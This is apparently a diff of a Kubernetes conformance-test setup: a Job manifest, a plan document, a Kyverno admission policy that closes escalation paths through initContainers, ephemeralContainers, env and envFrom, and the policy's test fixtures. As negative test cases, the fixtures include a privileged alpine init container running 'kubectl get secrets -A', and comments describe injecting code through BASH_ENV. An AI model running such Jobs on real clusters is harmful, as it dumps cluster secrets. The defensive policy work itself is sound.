# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
|
||||
# that belongs to a script — a trap this file walked into while the clone logic was still an
|
||||
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
|
||||
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
|
||||
# with a two-token sed, nothing cleverer:
|
||||
#
|
||||
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
|
||||
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
|
||||
@@ -88,13 +116,39 @@
|
||||
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
|
||||
# or an injected value is a hard failure, never a run of the wrong tree.
|
||||
#
|
||||
# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the
|
||||
# trigger REPLACES it wholesale per invocation shape —
|
||||
# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo",
|
||||
# "--requirements", "<touched R-IDs>"]
|
||||
# PHASE EXIT: ["--layer", "all", "--strict-coverage"]
|
||||
# Keeping it a committed list (not a substituted scalar) is what lets this file be handed
|
||||
# to `kyverno apply` as-is.
|
||||
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
|
||||
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
|
||||
# file be handed to `kyverno apply` as-is.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
|
||||
# -----------------------------------------------------------------------------
|
||||
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
|
||||
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
|
||||
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
|
||||
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
|
||||
#
|
||||
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
|
||||
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
|
||||
#
|
||||
# so:
|
||||
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
|
||||
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
|
||||
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
|
||||
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
|
||||
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
|
||||
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
|
||||
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
|
||||
#
|
||||
# The first three are measured working by the image build (PR #18); the last two are measured
|
||||
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
|
||||
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
|
||||
# The committed default below is the narrowest shape that works.
|
||||
#
|
||||
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
|
||||
# security boundary should not encode which toolchain an image happens to ship, and the failure
|
||||
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
|
||||
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
|
||||
@@ -152,67 +206,25 @@ spec:
|
||||
# ---------------------------------------------------------------------
|
||||
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
|
||||
#
|
||||
# The credential is a READ-ONLY Gitea token, referenced by secret name only. It
|
||||
# reaches git through an inline credential helper that reads the ENVIRONMENT, so
|
||||
# the token never appears in argv (where `ps` and the Pod spec would show it) and
|
||||
# is never written to disk.
|
||||
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
|
||||
# conformance/incluster/conformance-clone and is baked into the runner image at
|
||||
# /usr/local/bin/conformance-clone. That is what makes the init container
|
||||
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
|
||||
# `args: [<script>]`, no admission policy could distinguish the committed script
|
||||
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
|
||||
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
|
||||
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
|
||||
# pins this container to that one path with NO args, so it carries no
|
||||
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
|
||||
# and for why the repository URL is hardcoded THERE rather than passed in env.
|
||||
#
|
||||
# `--depth 1` clones the default branch; the commit under test is usually its tip
|
||||
# but must not be ASSUMED to be (the branch can advance between trigger and run,
|
||||
# and a PR head is not the default branch at all). So: clone shallow, and if the
|
||||
# SHA is not already present, fetch that one commit, then detach onto it and
|
||||
# ASSERT HEAD equals it. The suite runs at the commit under test or not at all.
|
||||
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
|
||||
# is not 40 hex characters before it touches the network.
|
||||
# ---------------------------------------------------------------------
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||
command: ["/bin/bash", "-c"]
|
||||
args:
|
||||
- |
|
||||
set -euo pipefail
|
||||
|
||||
# A bad SHA must never degrade into "ran whatever the branch tip was".
|
||||
if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then
|
||||
echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2
|
||||
echo " The CI trigger did not substitute it, or substituted junk." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p "${TMPDIR}" "${HOME}"
|
||||
|
||||
# git's shell credential helper: invoked as `sh -c '<value> get'`, so it
|
||||
# reads $1 and answers from the environment only.
|
||||
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
|
||||
|
||||
echo "==> shallow clone ${CONFORMANCE_REPO_URL}"
|
||||
git -c credential.helper="${CRED}" \
|
||||
clone --depth 1 --no-tags --single-branch \
|
||||
"${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}"
|
||||
|
||||
if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
|
||||
echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
|
||||
git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \
|
||||
fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
|
||||
fi
|
||||
|
||||
git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
|
||||
|
||||
head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)"
|
||||
if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then
|
||||
echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
test -x "${CONFORMANCE_SRC}/conformance/run.sh" \
|
||||
|| { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; }
|
||||
|
||||
echo "==> suite ready at ${head}"
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
env:
|
||||
# The repository under test is a committed literal, not a substitution: a
|
||||
# template that lets the trigger choose the clone URL lets it choose the code.
|
||||
- name: CONFORMANCE_REPO_URL
|
||||
value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git
|
||||
- name: CONFORMANCE_SRC
|
||||
value: /workspace/src
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "@@CONFORMANCE_GIT_SHA@@"
|
||||
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
|
||||
@@ -253,7 +265,8 @@ spec:
|
||||
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
|
||||
command: ["./run.sh"]
|
||||
# Replaced wholesale by the trigger per invocation shape (see the header).
|
||||
args: ["--layer", "all", "--strict-coverage"]
|
||||
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
|
||||
args: ["--layer", "l2,l3"]
|
||||
env:
|
||||
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
|
||||
# artifact tree onto the `results` volume. It cannot live at its default
|
||||
|
||||
@@ -58,20 +58,29 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
|
||||
|
||||
## 3. Gaps to close (functional)
|
||||
|
||||
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
||||
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
|
||||
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
|
||||
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
|
||||
entrypoint path and the Job pins that uid — see §4.)*
|
||||
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
||||
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
|
||||
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
|
||||
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
|
||||
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
|
||||
`CHAINSAW_VERSION` as the single source of truth the image is built from.
|
||||
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
|
||||
Init container `clone-suite-at-commit`: shallow clone, fetch the exact commit if the shallow
|
||||
tip lacks it, detach, then **assert `HEAD` == the requested SHA**. SHA arrives as a
|
||||
`@@CONFORMANCE_GIT_SHA@@` substitution into a Job env var and is refused unless it matches
|
||||
`^[0-9a-f]{40}$`. Credential = secret `conformance-git-readonly` (read-only Gitea token) by
|
||||
**name only**, delivered as env via `secretKeyRef` — not a volume, because admission allows
|
||||
only `workspace` and `results`. Still to do: build the runner image (item 1) and provision
|
||||
that Secret (item 6). Original text: → Add an
|
||||
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
|
||||
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
|
||||
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
|
||||
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
|
||||
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
|
||||
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
|
||||
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
|
||||
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
|
||||
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
|
||||
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
|
||||
install the entrypoint at that exact path) and provision that Secret (item 6).
|
||||
Original text: → Add an
|
||||
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
|
||||
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
|
||||
`--requirements` are injected by the CI trigger step as Job env/args.
|
||||
@@ -120,6 +129,19 @@ stack):**
|
||||
|
||||
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
|
||||
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
|
||||
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
|
||||
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
|
||||
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
|
||||
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
|
||||
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
|
||||
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
|
||||
same. Both are now covered by
|
||||
`trigger-initcontainers-must-be-the-committed-clone-step` and
|
||||
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
|
||||
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
|
||||
field that can carry executable intent, and a `pattern` over an array only asserts *at least
|
||||
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
|
||||
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
|
||||
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
|
||||
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
|
||||
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
|
||||
|
||||
@@ -142,3 +142,236 @@ spec:
|
||||
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
|
||||
operator: Equals
|
||||
value: false
|
||||
|
||||
# =========================================================================================
|
||||
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
|
||||
#
|
||||
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
|
||||
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
|
||||
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
|
||||
# executing an arbitrary command, because Kubernetes places no `use` check on
|
||||
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
|
||||
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
|
||||
#
|
||||
# a Job with serviceAccountName conformance-runner and an initContainer
|
||||
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
|
||||
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
|
||||
#
|
||||
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||
#
|
||||
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
|
||||
# needed — the suite has to be cloned at the commit under test. But while the clone logic
|
||||
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
|
||||
# the committed script from an attacker's: both are just `args` on a shell. So the clone
|
||||
# logic moved into the runner image at a fixed path
|
||||
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
|
||||
# rule pins `command` to that path with NO args. An admitted init container therefore
|
||||
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
|
||||
# itself validates against ^[0-9a-f]{40}$.
|
||||
#
|
||||
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
|
||||
# element matches", which would admit the committed clone step PLUS an arbitrary second
|
||||
# init container — the same class of hole rule 2's comment describes for volumes.
|
||||
# =========================================================================================
|
||||
- name: trigger-initcontainers-must-be-the-committed-clone-step
|
||||
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
|
||||
committed clone step: the digest-pinned conformance-runner image,
|
||||
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
|
||||
escalation, not privileged. An initContainer running a shell with a caller-supplied
|
||||
script is arbitrary code execution as the privileged conformance-runner SA — the
|
||||
escalation the rest of this policy exists to prevent. See
|
||||
conformance/incluster/conformance-clone.
|
||||
foreach:
|
||||
- list: "request.object.spec.template.spec.initContainers"
|
||||
deny:
|
||||
conditions:
|
||||
any:
|
||||
# At most one. The committed run needs exactly one clone step; a second
|
||||
# init container has no legitimate purpose and is how you smuggle one in.
|
||||
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
|
||||
operator: GreaterThan
|
||||
value: 1
|
||||
# Digest-pinned under the conformance repository path — same rule as
|
||||
# containers[0], same honest limit (see IMAGE PINNING in the header).
|
||||
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
|
||||
operator: Equals
|
||||
value: false
|
||||
# The baked-in entrypoint, exactly — not a shell, not a second path.
|
||||
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
|
||||
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
|
||||
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
|
||||
operator: NotEquals
|
||||
value: "/usr/local/bin/conformance-clone"
|
||||
# NO ARGS. This is the whole point: args on an init container are
|
||||
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
|
||||
- key: "{{ length(not_null(element.args, `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
|
||||
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
|
||||
# the COMPLIANT value false into true and deny every good Job.
|
||||
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
|
||||
operator: NotEquals
|
||||
value: true
|
||||
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
|
||||
operator: NotEquals
|
||||
value: false
|
||||
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
|
||||
operator: NotEquals
|
||||
value: false
|
||||
|
||||
# =========================================================================================
|
||||
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
|
||||
# container list on a PodSpec, and it was as unread as `initContainers` was.
|
||||
#
|
||||
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
|
||||
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
|
||||
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
|
||||
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
|
||||
# when the field is absent, and removes the need to be right about it. If the API server
|
||||
# does reject it, nothing changes; if it does not, this is the same hole again.
|
||||
# =========================================================================================
|
||||
- name: trigger-may-not-declare-ephemeral-containers
|
||||
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may not declare ephemeralContainers. The committed
|
||||
conformance run has no use for one, and an ephemeral container is a third container
|
||||
list running as the privileged conformance-runner SA with an arbitrary command.
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
|
||||
# =========================================================================================
|
||||
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
|
||||
#
|
||||
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
|
||||
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
|
||||
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
|
||||
# environment variable on either container.
|
||||
#
|
||||
# That is not hypothetical. Both programs the Job runs read their environment:
|
||||
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
|
||||
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
|
||||
# image (it dies on a mismatch rather than honouring a redirect — which is why the
|
||||
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
|
||||
# already closed there, in the image, not here);
|
||||
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
|
||||
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
|
||||
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
|
||||
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
|
||||
# thing standing between a caller-chosen env var and the privileged SA.
|
||||
#
|
||||
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
|
||||
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
|
||||
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
|
||||
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
|
||||
# name is what a program keys its behaviour on.
|
||||
# =========================================================================================
|
||||
- name: trigger-env-names-must-be-the-committed-set
|
||||
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may set only the committed environment variables. The runner
|
||||
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
|
||||
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
|
||||
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
|
||||
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
|
||||
conformance-runner SA. Widening this list is a reviewed one-line change.
|
||||
foreach:
|
||||
- list: "request.object.spec.template.spec.containers[0].env"
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ element.name }}"
|
||||
operator: AnyNotIn
|
||||
value:
|
||||
- CONF_ARTIFACTS
|
||||
- CONF_EMIT_ARTIFACTS_TGZ
|
||||
- TMPDIR
|
||||
- HOME
|
||||
# Flattened across init containers: the rule above already caps them at one, but this
|
||||
# must not silently stop checking if that cap is ever relaxed.
|
||||
- list: "request.object.spec.template.spec.initContainers[].env[]"
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ element.name }}"
|
||||
operator: AnyNotIn
|
||||
value:
|
||||
- CONFORMANCE_GIT_SHA
|
||||
- CONFORMANCE_REPO_URL
|
||||
- CONFORMANCE_SRC
|
||||
- GITEA_USERNAME
|
||||
- GITEA_TOKEN
|
||||
- TMPDIR
|
||||
- HOME
|
||||
|
||||
- name: trigger-may-not-use-envfrom
|
||||
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
|
||||
as environment variables, whose KEYS are not visible in the Job at all — which would
|
||||
make the env-name allowlist above unenforceable by inspection.
|
||||
deny:
|
||||
conditions:
|
||||
any:
|
||||
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
@@ -38,6 +38,30 @@ results:
|
||||
kind: Job
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
# `real-template` is the only fixture WITH an init container, so it is the only one this
|
||||
# rule reports on — a foreach over an absent list yields no result at all, which is why
|
||||
# `good-run` is not listed here.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
||||
kind: Job
|
||||
resources: [real-template]
|
||||
result: pass
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-not-declare-ephemeral-containers
|
||||
kind: Job
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-env-names-must-be-the-committed-set
|
||||
kind: Job
|
||||
resources: [real-template]
|
||||
result: pass
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-not-use-envfrom
|
||||
kind: Job
|
||||
resources: [good-run, real-template]
|
||||
result: pass
|
||||
|
||||
# ---- THE escalation: runner SA + arbitrary command ----
|
||||
- policy: conformance-trigger-job-shape
|
||||
@@ -59,3 +83,38 @@ results:
|
||||
kind: Job
|
||||
resources: [injected-args]
|
||||
result: fail
|
||||
|
||||
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
|
||||
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
|
||||
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
|
||||
# is the coordinator's independent reproduction; keeping it here is what stops the hole
|
||||
# reopening.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
||||
kind: Job
|
||||
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
|
||||
result: fail
|
||||
|
||||
# ---- and via the third container list nobody was reading ----
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-not-declare-ephemeral-containers
|
||||
kind: Job
|
||||
resources: [evil-ephemeral-container]
|
||||
result: fail
|
||||
|
||||
# ---- and via `env`, the same mistake a third time ----
|
||||
# `command` is pinned, so the injection moves to a variable the pinned command honours.
|
||||
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
|
||||
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
|
||||
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
|
||||
# env rule has to exist separately.
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-env-names-must-be-the-committed-set
|
||||
kind: Job
|
||||
resources: [injected-env, injected-initcontainer-env]
|
||||
result: fail
|
||||
- policy: conformance-trigger-job-shape
|
||||
rule: trigger-may-not-use-envfrom
|
||||
kind: Job
|
||||
resources: [envfrom-whole-secret]
|
||||
result: fail
|
||||
@@ -7,12 +7,10 @@
|
||||
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
|
||||
# securityContext, and the presence of the init container) in step with it.
|
||||
#
|
||||
# KNOWN GAP THIS CASE DOES NOT COVER: no rule reads `initContainers`, so this init
|
||||
# container's command/args/image are unconstrained. Swapping its args for an exfiltration
|
||||
# one-liner still yields pass 3 / fail 0 — see the OPEN SECURITY GAP block in
|
||||
# conformance/incluster/chainsaw-job.yaml for the measurement and the follow-up. A DENY
|
||||
# case is deliberately NOT added here: it would have to assert `pass` today, and would then
|
||||
# break the very PR that fixes the policy.
|
||||
# The init container carries NO args: its logic is baked into the runner image at
|
||||
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
|
||||
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
|
||||
# see `evil-initcontainer` below for the escalation it closes.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
@@ -29,8 +27,7 @@ spec:
|
||||
initContainers:
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/bin/bash", "-c"]
|
||||
args: ["git clone --depth 1 \"$CONFORMANCE_REPO_URL\" \"$CONFORMANCE_SRC\""]
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
env:
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "0123456789abcdef0123456789abcdef01234567"
|
||||
@@ -227,3 +224,241 @@ spec:
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
---
|
||||
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
|
||||
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
|
||||
# INIT container running as the privileged conformance-runner SA. Before
|
||||
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
|
||||
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
|
||||
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
|
||||
#
|
||||
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
|
||||
# Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: evil-initcontainer
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
initContainers:
|
||||
- name: sneak
|
||||
image: docker.io/library/alpine:latest
|
||||
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||
securityContext:
|
||||
privileged: true
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
|
||||
